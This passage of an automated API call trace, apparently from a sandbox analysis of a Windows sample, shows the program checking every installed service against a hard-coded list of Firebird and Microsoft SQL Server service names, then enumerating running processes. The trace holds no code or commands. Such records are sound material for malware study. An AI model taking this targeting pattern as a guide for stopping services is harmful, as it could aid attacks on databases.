(lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0129.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0129.152] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0129.152] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0129.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0129.152] lstrlenW (lpString="DcomLaunch") returned 10 [0129.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.153] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0129.153] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0129.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0129.153] lstrlenW (lpString="DeviceAssociationService") returned 24 [0129.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0129.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0129.153] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0129.153] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0129.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0129.153] lstrlenW (lpString="Dhcp") returned 4 [0129.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0129.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0129.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0129.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0129.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0129.153] lstrlenW (lpString="Dnscache") returned 8 [0129.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0129.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0129.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0129.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0129.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0129.153] lstrlenW (lpString="DoSvc") returned 5 [0129.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0129.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0129.153] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0129.154] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0129.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0129.154] lstrlenW (lpString="DPS") returned 3 [0129.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0129.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0129.154] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0129.154] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0129.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0129.154] lstrlenW (lpString="DusmSvc") returned 7 [0129.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0129.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0129.154] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0129.154] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0129.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0129.154] lstrlenW (lpString="EventLog") returned 8 [0129.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0129.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0129.154] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0129.154] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0129.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0129.154] lstrlenW (lpString="EventSystem") returned 11 [0129.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0129.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0129.154] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0129.155] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0129.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0129.155] lstrlenW (lpString="FontCache") returned 9 [0129.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0129.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0129.155] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0129.155] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0129.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0129.155] lstrlenW (lpString="gpsvc") returned 5 [0129.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0129.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0129.155] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0129.155] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0129.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0129.155] lstrlenW (lpString="iphlpsvc") returned 8 [0129.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.155] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0129.155] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0129.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0129.155] lstrlenW (lpString="KeyIso") returned 6 [0129.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0129.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0129.155] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0129.155] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0129.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0129.155] lstrlenW (lpString="LanmanServer") returned 12 [0129.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0129.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0129.156] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0129.156] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0129.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0129.156] lstrlenW (lpString="LanmanWorkstation") returned 17 [0129.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.156] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0129.156] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0129.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0129.156] lstrlenW (lpString="lfsvc") returned 5 [0129.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0129.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0129.156] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0129.156] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0129.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0129.156] lstrlenW (lpString="lmhosts") returned 7 [0129.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0129.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0129.156] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0129.156] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0129.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0129.156] lstrlenW (lpString="LSM") returned 3 [0129.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0129.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0129.156] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0129.156] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0129.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0129.157] lstrlenW (lpString="MapsBroker") returned 10 [0129.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0129.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0129.157] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0129.157] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0129.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0129.157] lstrlenW (lpString="MpsSvc") returned 6 [0129.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0129.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0129.157] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0129.157] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0129.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0129.157] lstrlenW (lpString="NcbService") returned 10 [0129.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0129.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0129.157] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0129.157] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0129.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0129.157] lstrlenW (lpString="netprofm") returned 8 [0129.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0129.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0129.157] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0129.157] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0129.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0129.157] lstrlenW (lpString="NlaSvc") returned 6 [0129.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0129.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0129.158] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0129.158] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0129.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0129.158] lstrlenW (lpString="nsi") returned 3 [0129.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0129.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0129.158] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0129.158] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0129.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0129.158] lstrlenW (lpString="PcaSvc") returned 6 [0129.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0129.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0129.158] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0129.158] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0129.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0129.158] lstrlenW (lpString="PlugPlay") returned 8 [0129.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0129.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0129.158] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0129.158] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0129.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0129.158] lstrlenW (lpString="Power") returned 5 [0129.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0129.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0129.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0129.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0129.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0129.159] lstrlenW (lpString="ProfSvc") returned 7 [0129.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0129.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0129.159] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0129.159] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0129.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0129.159] lstrlenW (lpString="RpcEptMapper") returned 12 [0129.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.159] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0129.159] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0129.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0129.159] lstrlenW (lpString="RpcSs") returned 5 [0129.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0129.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0129.159] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0129.159] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0129.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0129.159] lstrlenW (lpString="SamSs") returned 5 [0129.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0129.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0129.159] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0129.159] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0129.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0129.159] lstrlenW (lpString="Schedule") returned 8 [0129.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0129.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0129.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0129.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0129.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0129.160] lstrlenW (lpString="SecurityHealthService") returned 21 [0129.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0129.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0129.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0129.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0129.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0129.160] lstrlenW (lpString="SENS") returned 4 [0129.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0129.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0129.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0129.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0129.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0129.160] lstrlenW (lpString="ShellHWDetection") returned 16 [0129.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.160] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0129.160] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0129.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0129.160] lstrlenW (lpString="Spooler") returned 7 [0129.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0129.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0129.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0129.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0129.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0129.160] lstrlenW (lpString="sppsvc") returned 6 [0129.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0129.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0129.161] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0129.161] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0129.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0129.161] lstrlenW (lpString="SSDPSRV") returned 7 [0129.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0129.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0129.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0129.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0129.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0129.161] lstrlenW (lpString="StateRepository") returned 15 [0129.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0129.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0129.161] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0129.161] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0129.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43a1500 | out: hHeap=0x5b0000) returned 1 [0129.161] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0129.250] Process32FirstW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.251] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.252] lstrlenW (lpString="System") returned 6 [0129.252] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.253] lstrlenW (lpString="smss.exe") returned 8 [0129.253] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.253] lstrlenW (lpString="csrss.exe") returned 9 [0129.254] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.254] lstrlenW (lpString="wininit.exe") returned 11 [0129.254] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.255] lstrlenW (lpString="csrss.exe") returned 9 [0129.255] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.256] lstrlenW (lpString="winlogon.exe") returned 12 [0129.256] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.257] lstrlenW (lpString="services.exe") returned 12 [0129.257] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.319] lstrlenW (lpString="lsass.exe") returned 9 [0129.319] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.320] lstrlenW (lpString="svchost.exe") returned 11 [0129.320] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0129.321] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0129.321] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0129.321] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0129.321] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.322] lstrlenW (lpString="svchost.exe") returned 11 [0129.322] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.323] lstrlenW (lpString="dwm.exe") returned 7 [0129.323] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.324] lstrlenW (lpString="svchost.exe") returned 11 [0129.324] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.324] lstrlenW (lpString="svchost.exe") returned 11 [0129.324] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.325] lstrlenW (lpString="svchost.exe") returned 11 [0129.325] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.326] lstrlenW (lpString="svchost.exe") returned 11 [0129.326] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.326] lstrlenW (lpString="svchost.exe") returned 11 [0129.326] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.327] lstrlenW (lpString="svchost.exe") returned 11 [0129.327] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.328] lstrlenW (lpString="svchost.exe") returned 11 [0129.328] Process32NextW (in: 